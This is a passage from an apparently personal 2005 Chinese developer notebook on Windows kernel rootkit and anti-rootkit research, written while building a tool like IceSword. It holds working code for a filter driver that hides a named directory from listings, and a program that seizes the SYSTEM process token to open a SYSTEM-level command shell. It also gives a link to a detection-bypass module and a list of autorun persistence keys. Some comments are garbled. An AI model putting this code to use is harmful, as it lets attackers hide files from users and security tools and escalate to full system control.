2005年09月28日

1. 研究ObpKernelHandleTabl和HandleTableList都有些什么用.
2. 如果HandleTableList确实是保存了系统所有的HANDLE_TABLE的话, 可以考虑用做权举进程,线程还有端口.
3. ObInitSystem函数中有很多比较有价值的东东, 研究研究
4. Idle进程如何获取? PsIdleProcess
5. PsActiveProcessHead是指向ActiveProcessLinks的表头, 这样的话, 可以用来获取ActiveProcessLinks在EPROCESS中的偏移
6. KPRCB, IdleThread
7. fs:[0124]指向ETHREAD, FS:[120]指向KPRCB

IoEnumerateDeviceObjectList



附: ExSnapShotHandleTables能用来权举HandleTableList

2005年09月20日

一直以来都非常喜欢Pjf的IceSword, 研究了很久, 按他的思路也完成了一个类似的工具, 当然同时也发现了一些绕过检测的方法, 只是我觉得目前为止, 在ROOTKIT领域里面, Pjf真的是为中国争了光(很佩服的说 ^_^),  因此一直没有对外公布而已, 觉得这样好的一个工具应该长期的被使用下去.

但是这几天看到驱动开发网上的管理员开贴要挑战ICESWORD, 呵呵, 不知PJF怎么看的. 目前为止, 把一些技术细节都给搞出来了. 都不知道这是好是坏了. 技术战还在继续啊,

这里,我只是简单的将我做的驱动中的某一个绕过模块做了个动画, 有兴趣的可以看看. 但是我不想公布技术细节. 我觉得大家还是应该支持PJF的, 对吗?

Http://zwell.3322.org/down/HideReg.rar

2005年09月15日

1. 查询目录可以用IRP_MJ_DIRECTORY_CONTROL
2. 回去看一下sfilter
3. 隐藏目录:
NTSTATUS
DispatchDirectoryControl(
                         IN PDEVICE_OBJECT DeviceObject,
                         IN PIRP Irp
                         )
{
    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    KEVENT waitEvent;
    NTSTATUS status;
    PWSTR fileNameBuffer;
    ULONG bufferLength;
    ULONG newLength;
    ULONG offset;
    ULONG currentPosition;
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
    PFILE_BOTH_DIR_INFORMATION preDirInfo = NULL;

    PAGED_CODE();

    if (IS_MY_CONTROL_DEVICE_OBJECT(DeviceObject)) {

        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        Irp->IoStatus.Information = 0;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INVALID_DEVICE_REQUEST;
    }

    if (Irp->RequestorMode == KernelMode) {

        IoSkipCurrentIrpStackLocation(Irp);
        return IoCallDriver(((PDEVICE_EXTENSION) DeviceObject->DeviceExtension)->AttachedToDeviceObject, Irp);
    }

    if (FileBothDirectoryInformation != irpSp->Parameters.QueryDirectory.FileInformationClass) {

        IoSkipCurrentIrpStackLocation(Irp);
        return IoCallDriver(((PDEVICE_EXTENSION) DeviceObject->DeviceExtension)->AttachedToDeviceObject, Irp);
    }

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    IoCopyCurrentIrpStackLocationToNext(Irp);

    IoSetCompletionRoutine(Irp,
        DirectoryControlCompletion,
        &waitEvent, //context parameter
        TRUE,
        TRUE,
        TRUE
        );

    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);

    //
    // Wait for the operation to complete
    //
    if (STATUS_PENDING == status) {

        status = KeWaitForSingleObject(&waitEvent,
            Executive,
            KernelMode,
            FALSE,
            NULL
            );
        ASSERT(STATUS_SUCCESS == status);
    }

    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length)) {

        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    fileNameBuffer =(PWSTR) ExAllocatePoolWithTag(NonPagedPool, MAX_PATH * sizeof(WCHAR), POOL_TAG);
    if (!fileNameBuffer)
    {
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    RtlZeroMemory(fileNameBuffer, MAX_PATH * sizeof(WCHAR));

    if (!NT_SUCCESS(GetFileName(DeviceObject, irpSp->FileObject, fileNameBuffer))) {

        ExFreePoolWithTag(fileNameBuffer, POOL_TAG);
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    if (0 != _wcsicmp(fileNameBuffer, L"\\")) {

        ExFreePoolWithTag(fileNameBuffer, POOL_TAG);
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    while (TRUE) {

        bufferLength = irpSp->Parameters.QueryDirectory.Length;
        newLength = bufferLength;
        currentPosition = 0;
        dirInfo =(PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer;
        preDirInfo = dirInfo;

        if ((!dirInfo) ||(dirInfo->NextEntryOffset > bufferLength)) {

            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return status;
        }

        do {

            offset = dirInfo->NextEntryOffset;
            if ((dirInfo->FileNameLength > 0) &&
                (_wcsnicmp(HIDDEN_DIRECTORY, dirInfo->FileName, dirInfo->FileNameLength / sizeof(WCHAR)) == 0)) {

                    if (0 == offset) { // the last one

                        preDirInfo->NextEntryOffset = 0;
                        newLength = currentPosition;

                    } else {

                        if (preDirInfo != dirInfo) {

                            preDirInfo->NextEntryOffset += dirInfo->NextEntryOffset;
                            dirInfo = (PFILE_BOTH_DIR_INFORMATION) ((PUCHAR) dirInfo + offset);

                        } else {

                            RtlMoveMemory((PUCHAR) dirInfo,(PUCHAR) dirInfo + offset, bufferLength – currentPosition – offset);
                            newLength -= offset;

                        }
                    }

                    // break;
                }
            else
            {
                currentPosition += offset;
                preDirInfo = dirInfo;
                dirInfo =(PFILE_BOTH_DIR_INFORMATION)((PUCHAR) dirInfo + offset);
            }

        } while(0 != offset);

        if (0 == newLength) {

            KeResetEvent(&waitEvent);

            IoCopyCurrentIrpStackLocationToNext(Irp);

            IoSetCompletionRoutine(Irp,
                DirectoryControlCompletion,
                &waitEvent, //context parameter
                TRUE,
                TRUE,
                TRUE
                );

            status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);

            //
            // Wait for the operation to complete
            //
            if (STATUS_PENDING == status) {

                status = KeWaitForSingleObject(&waitEvent,
                    Executive,
                    KernelMode,
                    FALSE,
                    NULL
                    );
                ASSERT(STATUS_SUCCESS == status);
            }

            if (!NT_SUCCESS(status) ||(0 == Irp->IoStatus.Information)) {

                break;
            }

        } else {

            Irp->IoStatus.Information = newLength;
            break;
        }
    }

    ExFreePoolWithTag(fileNameBuffer, POOL_TAG);

    Irp->IoStatus.Information = newLength;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

NTSTATUS
DirectoryControlCompletion(
                           IN PDEVICE_OBJECT DeviceObject,
                           IN PIRP Irp,
                           IN PVOID Context
                           )
{
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Irp);

    KeSetEvent((PKEVENT) Context, IO_NO_INCREMENT, FALSE);

    return STATUS_MORE_PROCESSING_REQUIRED;
}

4. #pragma alloc_text( "textsection", function1, … ) 指定一个代码段,用来存放函数。该定义必须在函数的声明之后定义之前。

5. 在module viewer中加入进程查看时把用户名和会话ID加进去

6. MmGetSystemRoutineAddress可以用来获取系统的函数地址;

2005年09月14日

1. IceSword 也使用了Jmp的方法来HOOK服务描述表, 回头把Module Viewer改一下, 用来检测这种方式的HOOK
2. IceSword在检测隐藏文件方面是用的直接向FSD(File System Driver)发送IRP的方式来达到目的的.
可以通过HOOK 设备的IRP等函数来跟踪,但是只能跟踪CREATE, READ, WRITE, CLOSE, CLEANUP等几个,
还有一些关键的函数估计是直接调用了原始地址. 回去将MODULE Viewer改一下, 用jmp的HOOK方式看能不能跟踪到.
3. 一般远线程最终都会调用KeStackAttachProcess来切换进程地址空间,因此只要Hook掉这个函数就能完成检测
远线程了,回去试一下.(注,程序也就无法被调试了^_^);
4. autoruns检测的一些项目:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit            
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\System\CurrentControlSet\Services\
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\
HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options            
HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls            
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify            
HKCU\Control Panel\Desktop\Scrnsave.exe            
HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9            
C:\Documents and Settings\All Users\「开始」菜单\程序\启动\
任务计划
AppInit

5. 在加载的模块中, 应该也要获取RING3中加载的基址大于0×70000000的动态链接库文件

6. 在module viewer中加入进程检测模块时要加入线程列表,模块列表

7. 用upxshell压缩

8. 加入DbgPrint viewer模块

9.  KernelGetModuleBase("ntoskrnl.exe");
PVOID
KernelGetModuleBase(
    PCHAR  pModuleName
    )
{
    PVOID pModuleBase = NULL;

    __try
    {
        NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
        ULONG    SystemInfoBufferSize = 0;
        PULONG   pSystemInfoBuffer = NULL;

        status = ZwQuerySystemInformation(SystemModuleInfo,
            &SystemInfoBufferSize,
            0,
            &SystemInfoBufferSize);

        if (!SystemInfoBufferSize)
            return NULL;

        pSystemInfoBuffer = (PULONG)ExAllocatePool(NonPagedPool, SystemInfoBufferSize);

        if (!pSystemInfoBuffer)
            return NULL;

        memset(pSystemInfoBuffer, 0, SystemInfoBufferSize);

        status = ZwQuerySystemInformation(SystemModuleInfo,
            pSystemInfoBuffer,
            SystemInfoBufferSize,
            &SystemInfoBufferSize);

        if (NT_SUCCESS(status))
        {
            PSYSTEM_MODULE_ENTRY pSysModuleEntry =((PSYSTEM_MODULE_INFORMATION)(pSystemInfoBuffer))->Module;
            ULONG i;
            
            for (i = 0; i <((PSYSTEM_MODULE_INFORMATION)(pSystemInfoBuffer))->Count; i++)
            {
                if (_stricmp(pSysModuleEntry[i].ModuleName + pSysModuleEntry[i].ModuleNameOffset, pModuleName) == 0)
                {
                    pModuleBase = pSysModuleEntry[i].ModuleBaseAddress;
                    break;
                }
            }
        }

        ExFreePool(pSystemInfoBuffer);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        pModuleBase = NULL;
    }

    return pModuleBase;
} // end KernelGetModuleBase()

10. KernelGetProcAddress(0×80080000, "NtQuerySystemInformation");
PVOID
KernelGetProcAddress(
    PVOID ModuleBase,
    PCHAR pFunctionName
    )
{
    PVOID pFunctionAddress = NULL;
    
    __try
    {
        PIMAGE_DOS_HEADER dos =(PIMAGE_DOS_HEADER) ModuleBase;
        PIMAGE_NT_HEADERS nt  =(PIMAGE_NT_HEADERS)((ULONG) ModuleBase + dos->e_lfanew);

        PIMAGE_DATA_DIRECTORY expdir =(PIMAGE_DATA_DIRECTORY) nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
        ULONG                 size = expdir->Size;
        ULONG                 addr = expdir->VirtualAddress;

        PIMAGE_EXPORT_DIRECTORY exports =(PIMAGE_EXPORT_DIRECTORY)((ULONG) ModuleBase + addr);

        PULONG functions =(PULONG)((ULONG) ModuleBase + exports->AddressOfFunctions);
        PSHORT ordinals  =(PSHORT)((ULONG) ModuleBase + exports->AddressOfNameOrdinals);
        PULONG names     =(PULONG)((ULONG) ModuleBase + exports->AddressOfNames);
        ULONG  max_name  =exports->NumberOfNames;
        ULONG  max_func  =exports->AddressOfFunctions;

        ULONG i;

        for (i = 0; i < exports->AddressOfNames; i++)
        {
            ULONG ord = ordinals[i];
            if(i >= max_name || ord >= max_func) {
                return NULL;
            }
            if (functions[ord] < addr || functions[ord] >= addr + size)
            {
                if (strcmp((PCHAR) ModuleBase + names[i], pFunctionName)  == 0)
                {
                    pFunctionAddress =(PVOID)((PCHAR) ModuleBase + functions[ord]);
                    break;
                }
            }
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        pFunctionAddress = NULL;
    }

    return pFunctionAddress;
} // end KernelGetProcAddress()

#include "precomp.h"
#include "stdio.h"
#include "supershell.h"
#include "Accctrl.h"
#include "Aclapi.h"

#define SD_SIZE (65536 + SECURITY_DESCRIPTOR_MIN_LENGTH)

DWORD DetermineSystemPID()
{
    OSVERSIONINFO ovi;
    ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx( &ovi );
    if( ovi.dwMajorVersion <= 4 )
        return 2;
    if( ovi.dwMinorVersion > 0)
        return 4;
    return 8;
} // DetermineSystemPID()

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
   UCHAR          ucSDbuf[SD_SIZE];
   PSECURITY_DESCRIPTOR pSD=(PSECURITY_DESCRIPTOR)ucSDbuf;
   DWORD          dwSDLengthNeeded;

   PACL           pAcl;
   PACL           pNewAcl;

   EXPLICIT_ACCESS explicitaccess;

   BOOL fDaclPresent,fDaclDefaulted;
   DWORD dwResult;

   UCHAR          ucAbsSDbuf[SD_SIZE];
   PSECURITY_DESCRIPTOR pAbsSD=(PSECURITY_DESCRIPTOR)ucAbsSDbuf;
   DWORD dwSDLength;

#define ACL_SIZE 2048
#define SID_SIZE 1024

   PACL pacl,psacl;
   DWORD dwAclSize=ACL_SIZE, dwSaclSize=ACL_SIZE;
   PSID pSidOwner,pSidPrimary;
   DWORD dwSidOwnLen=SID_SIZE,dwSidPrimLen=SID_SIZE;


   if(!GetKernelObjectSecurity(
      hProc,
      DACL_SECURITY_INFORMATION,
      pSD,
      SD_SIZE,
      &dwSDLengthNeeded))
   {
      return FALSE;
   }

   if(!GetSecurityDescriptorDacl(
      pSD,
      &fDaclPresent,
      &pAcl,
      &fDaclDefaulted))
   {
      return FALSE;
   }


   BuildExplicitAccessWithName(
      &explicitaccess,
      __TEXT("administrators"),
      dwAccess,
      GRANT_ACCESS,
      0 );

   if( dwResult = SetEntriesInAcl(
      1,
      &explicitaccess,
      pAcl,
      &pNewAcl ) )
   {
      SetLastError(dwResult);
      return FALSE;
   }


   pacl = (ACL*)malloc(ACL_SIZE);
   psacl = (ACL*)malloc(ACL_SIZE);
   pSidOwner = malloc(SID_SIZE);
   pSidPrimary = malloc(SID_SIZE);

   dwSDLength = SD_SIZE;

   if(!MakeAbsoluteSD(
      pSD,
      pAbsSD,
      &dwSDLength,
      pacl, &dwAclSize,
      psacl, &dwSaclSize,
      pSidOwner, &dwSidOwnLen,
      pSidPrimary, &dwSidPrimLen))
   {
      return FALSE;
   }

   if(!SetSecurityDescriptorDacl(
      pAbsSD,
      fDaclPresent,
      pNewAcl,
      fDaclDefaulted))
   {
      return FALSE;
   }

   if(!SetKernelObjectSecurity(
      hProc,
      DACL_SECURITY_INFORMATION,
      pAbsSD))
   {
      return FALSE;
   }

   return TRUE;
}


BOOL supershell()
{
    HANDLE hToken;
    if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        return FALSE;

    LUID DebugValue;
    if( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &DebugValue ) )
        return FALSE;

    TOKEN_PRIVILEGES tkp;
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = DebugValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), 0, 0 );

    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, DetermineSystemPID());
    if( !hProcess )
        return FALSE;

    if( !OpenProcessToken( hProcess, READ_CONTROL|WRITE_DAC, &hToken) )
        return FALSE;

    if( !ModifySecurity( hToken, TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_QUERY) )
        return FALSE;

    CloseHandle(hToken);

    if( !OpenProcessToken( hProcess, TOKEN_QUERY|TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY, &hToken) )
        return FALSE;

    if( !ImpersonateLoggedOnUser( hToken ) )
        return FALSE;

    CHAR szWindows[MAX_PATH];
    
    if( !GetSystemDirectory(szWindows, sizeof(szWindows)) )
        return FALSE;

    CHAR szCmdExe[MAX_PATH];
    sprintf( szCmdExe, "%s\\cmd.exe", szWindows );
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    memset( &si, 0, sizeof(STARTUPINFO) );
    si.cb = sizeof(STARTUPINFO);
    si.lpDesktop = __TEXT("winsta0\\default");

    return CreateProcessAsUser(
        hToken,
        szCmdExe,
        szCmdExe,
        NULL, // default process attributes
        NULL, // default thread attributes
        FALSE, // don’t inherit handles
        CREATE_NEW_CONSOLE,
        NULL,  // inherit environment
        szWindows,  // same directory
        &si,
        &pi );
}

int main( int argc, char* argv[] )
{
    return supershell();
} // main()



//
// Coded By Napalm
// Modified By ZwelL
//
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>

#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "shlwapi.lib")

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef void (WINAPI * PIO_APC_ROUTINE)(PVOID, PIO_STATUS_BLOCK, DWORD);

typedef LONG TDI_STATUS;
typedef PVOID CONNECTION_CONTEXT;        // connection context

typedef struct _TDI_REQUEST {
    union {
        HANDLE AddressHandle;
        CONNECTION_CONTEXT ConnectionContext;
        HANDLE ControlChannel;
    } Handle;

    PVOID RequestNotifyObject;
    PVOID RequestContext;
    TDI_STATUS TdiStatus;
} TDI_REQUEST, *PTDI_REQUEST;

typedef struct _TDI_CONNECTION_INFORMATION {
    LONG UserDataLength;        // length of user data buffer
    PVOID UserData;            // pointer to user data buffer
    LONG OptionsLength;        // length of following buffer
    PVOID Options;             // pointer to buffer containing options
    LONG RemoteAddressLength;   // length of following buffer
    PVOID RemoteAddress;        // buffer containing the remote address
} TDI_CONNECTION_INFORMATION, *PTDI_CONNECTION_INFORMATION;

typedef struct _TDI_REQUEST_QUERY_INFORMATION {
    TDI_REQUEST Request;
    ULONG QueryType;             // class of information to be queried.
    PTDI_CONNECTION_INFORMATION RequestConnectionInformation;
} TDI_REQUEST_QUERY_INFORMATION, *PTDI_REQUEST_QUERY_INFORMATION;

#define TDI_QUERY_ADDRESS_INFO           0×00000003
#define IOCTL_TDI_QUERY_INFORMATION      CTL_CODE(FILE_DEVICE_TRANSPORT, 4, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

typedef VOID *POBJECT;

typedef struct _SYSTEM_HANDLE {
    ULONG       uIdProcess;
    UCHAR       ObjectType;    // OB_TYPE_* (OB_TYPE_TYPE, etc.)
    UCHAR       Flags;        // HANDLE_FLAG_* (HANDLE_FLAG_INHERIT, etc.)
    USHORT         Handle;
    POBJECT         pObject;
    ACCESS_MASK    GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG           uCount;
    SYSTEM_HANDLE     Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;

typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING *POBJECT_NAME_INFORMATION;

#define SystemHandleInformation           16
#define ObjectNameInformation           1
#define STATUS_SUCCESS                ((NTSTATUS)0×00000000L)
#define STATUS_INFO_LENGTH_MISMATCH       ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW           ((NTSTATUS)0×80000005L)
// ————————————————————————-


typedef NTSTATUS (WINAPI *tNTQSI)(DWORD SystemInformationClass, PVOID SystemInformation,
                                     DWORD SystemInformationLength, PDWORD ReturnLength);
typedef NTSTATUS (WINAPI *tNTQO)(HANDLE ObjectHandle, DWORD ObjectInformationClass, PVOID ObjectInformation,
                                    DWORD Length, PDWORD ResultLength);
typedef NTSTATUS (WINAPI *tNTDIOCF)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext,
                                  PIO_STATUS_BLOCK IoStatusBlock, DWORD IoControlCode,
                                  PVOID InputBuffer, DWORD InputBufferLength,
                                  PVOID OutputBuffer, DWORD OutputBufferLength);


void EnableDebugPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tokenPriv;
    LUID luidDebug;
    if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) != FALSE) {
        if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidDebug) != FALSE)
        {
             tokenPriv.PrivilegeCount            = 1;
             tokenPriv.Privileges [0].Luid       = luidDebug;
             tokenPriv.Privileges [0].Attributes = SE_PRIVILEGE_ENABLED;
             AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL);
        }
    }
}

LPWSTR GetObjectName(HANDLE hObject)
{
    LPWSTR lpwsReturn = NULL;
    tNTQO pNTQO = (tNTQO)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryObject");
    if(pNTQO != NULL){
        DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
        POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) new BYTE[dwSize];
        NTSTATUS ntReturn = pNTQO(hObject, ObjectNameInformation, pObjectInfo, dwSize, &dwSize);
        if(ntReturn == STATUS_BUFFER_OVERFLOW){
             delete pObjectInfo;
             pObjectInfo = (POBJECT_NAME_INFORMATION) new BYTE[dwSize];
             ntReturn = pNTQO(hObject, ObjectNameInformation, pObjectInfo, dwSize, &dwSize);
        }
        if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
        {
             lpwsReturn = (LPWSTR) new BYTE[pObjectInfo->Length + sizeof(WCHAR)];
             ZeroMemory(lpwsReturn, pObjectInfo->Length + sizeof(WCHAR));
             CopyMemory(lpwsReturn, pObjectInfo->Buffer, pObjectInfo->Length);
        }
        delete pObjectInfo;
    }
    return lpwsReturn;
}

void OutputConnectionDetails(HANDLE hObject, in_addr *ip, DWORD *port)
{
    tNTDIOCF pNTDIOCF = (tNTDIOCF)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtDeviceIoControlFile");
    if(pNTDIOCF != NULL){
        IO_STATUS_BLOCK IoStatusBlock;
        TDI_REQUEST_QUERY_INFORMATION tdiRequestAddress = {{0}, TDI_QUERY_ADDRESS_INFO};
        BYTE tdiAddress[128];

        HANDLE hEvent2 = CreateEvent(NULL, TRUE, FALSE, NULL);
        NTSTATUS ntReturn2 = pNTDIOCF(hObject, hEvent2, NULL, NULL, &IoStatusBlock, IOCTL_TDI_QUERY_INFORMATION,
             &tdiRequestAddress, sizeof(tdiRequestAddress), &tdiAddress, sizeof(tdiAddress));
        if(hEvent2) CloseHandle(hEvent2);

        if(ntReturn2 == STATUS_SUCCESS){
             struct in_addr *pAddr = (struct in_addr *)&tdiAddress[14];
             *ip = *pAddr;
             *port = ntohs(*(PUSHORT)&tdiAddress[12]);
        }
    }
}

int main(int argc, char *argv[])
{
    printf("TCP/UDP Handle List – by Napalm\n");
    printf("Modified by ZwelL\n");
    printf("===============================\n\n");

    EnableDebugPrivilege();

    tNTQSI pNTQSI = (tNTQSI)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQuerySystemInformation");
    if(pNTQSI != NULL){
        DWORD dwSize = sizeof(SYSTEM_HANDLE_INFORMATION);
        PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) new BYTE[dwSize];
        NTSTATUS ntReturn = pNTQSI(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
        if(ntReturn == STATUS_INFO_LENGTH_MISMATCH){
             delete pHandleInfo;
             pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) new BYTE[dwSize];
             ntReturn = pNTQSI(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
        }
        if(ntReturn == STATUS_SUCCESS){
             printf(" Found %d Handles. Listing TCP/UDP Handles…\n\n", pHandleInfo->uCount);
             printf(" PID\tHandle\t%-16sHandle Name\tIP Address\tPort\n", "Process Name");
             for(DWORD dwIdx = 0; dwIdx < pHandleInfo->uCount; dwIdx++)
             {
                HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
                     FALSE, pHandleInfo->Handles[dwIdx].uIdProcess);
                if(hProcess != INVALID_HANDLE_VALUE)
                {
                     HANDLE hObject = NULL;
                     if(DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handles[dwIdx].Handle,
                          GetCurrentProcess(), &hObject, STANDARD_RIGHTS_REQUIRED, FALSE, 0) != FALSE)
                      {
                          LPWSTR lpwsName = GetObjectName(hObject);
                          if(lpwsName != NULL){
                               if(!wcscmp(lpwsName, L"\\Device\\Tcp") || !wcscmp(lpwsName, L"\\Device\\Udp"))
                               {
                                   LPSTR lpszProcess = new CHAR[MAX_PATH];
                                   struct in_addr ipaddr;
                                   DWORD port;

                                   OutputConnectionDetails(hObject, &ipaddr, &port);
                                   ZeroMemory(lpszProcess, MAX_PATH);
                                   GetModuleFileNameEx(hProcess, NULL, lpszProcess, MAX_PATH);
                                   printf("%5d\t%6d\t%-16s%-20ws%12s%7d\t%s\n",
                                       pHandleInfo->Handles[dwIdx].uIdProcess,
                                       pHandleInfo->Handles[dwIdx].Handle,
                                       ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
                                       lpwsName,
                                       inet_ntoa(ipaddr),
                                       port,
                                       lpszProcess);
                                   delete lpszProcess;
                               }
                               delete lpwsName;
                          }
                          CloseHandle(hObject);
                     }
                     CloseHandle(hProcess);
                }
             }
             printf("\n\n");
        }else{
             printf("Error while trying to allocate memory for System Handle Information.\n");
        }
        delete pHandleInfo;
    }else{
        printf("Cannot find NtQuerySystemInformation API… Is this system not Win2K and above?");
    }

    return 0;
}

2005年09月13日

1.网络流量图形显示
2. 修改ListView样式.
     DWORD dwStyle = GetWindowLong(m_pRightView->m_hWnd,GWL_STYLE);
    dwStyle |= LVS_REPORT;
    SetWindowLong(m_pRightView->m_hWnd,GWL_STYLE,dwStyle);

3.m_pLeftView->GetTreeCtrl().Invalidate();用来刷新.

4.    用来添加ListView
int i;
    LV_COLUMN cols[3] = {
        { LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH, 0, 150,  "文章标题" },
        { LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH, 0, 80, "作者" },
        { LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH, 0, 60, "点击数" },
    };
    const NUMCOLS = sizeof(cols)/sizeof(cols[0]);
    for(i = 0; i<NUMCOLS; i++) {
        cols[i].iSubItem = i;
        lc.InsertColumn(i,&cols[i]);
    }

    LV_ITEM lvi;
    lvi.mask = LVIF_TEXT;
    CString s;
    for(i = 0; i < 200; i++)
    {
        s.Format("文章标题 %d", i);
        lvi.iItem = i;
        lvi.iSubItem = 0;
        lvi.pszText = const_cast<LPSTR>((LPCTSTR)s);
        lc.InsertItem(&lvi);

        lc.SetItemText(i,0,s);
        s.Format("作者 %d", i);
        lc.SetItemText(i,1,s);
        s.Format("%d", i*100);
        lc.SetItemText(i,2,s);
    }

2005年09月12日

//Made By ZwelL
//2005-09-12
//完善一下可以做成Winobj ^_^
//待解决问题:
//    1.将Driver中对应的Device找出来
//    2.如何从驱动找到对应文件
//    


#include "ntddk.h"
#include "string.h"

typedef unsigned char    BYTE, *PBYTE;
typedef unsigned short   WORD;
typedef unsigned long    DWORD;
typedef __int64          INT64_PTR, *PINT64_PTR;
typedef unsigned __int64 UINT64_PTR, *PUINT64_PTR;

typedef struct _DIR_ITEM
{
    struct _DIR_ITEM*  Next;
    PVOID              Object;
} DIR_ITEM, *PDIR_ITEM;

typedef struct _DIRECTORY
{
    PDIR_ITEM  HashEntries[37];
    PDIR_ITEM  LastHashAccess;     //94h
    ULONG      LastHashResult;     //98h
} DIRECTORY, *PDIRECTORY;

typedef struct _OBJECT_NAMETYPE_INFO
{               
  UNICODE_STRING ObjectName;
  UNICODE_STRING ObjectType;
} OBJECT_NAMETYPE_INFO, *POBJECT_NAMETYPE_INFO;   

typedef enum _DIRECTORYINFOCLASS
{
  ObjectArray,
  ObjectByOne
} DIRECTORYINFOCLASS, *PDIRECTORYINFOCLASS;

typedef struct _OBJECT_NAME
{
    PDIRECTORY     Directory;          // 滂疱牝铕?, 觐蝾痤?镳桧噤脲骅?钺牝
    UNICODE_STRING ObjectName;         // 褥 钺牝?
    ULONG          Reserved;           // 恹疣忭桠囗桢
} OBJECT_NAME, *POBJECT_NAME;

typedef struct _OBJECT_SUB_HEADER_INFO
{
    BYTE     NameOffset      : 8;
    BYTE     HandleDB_Offset : 8;
    BYTE     QuotaOffset     : 8;
    BYTE     U               : 1;
    BYTE     H               : 1;
    BYTE     S               : 1;
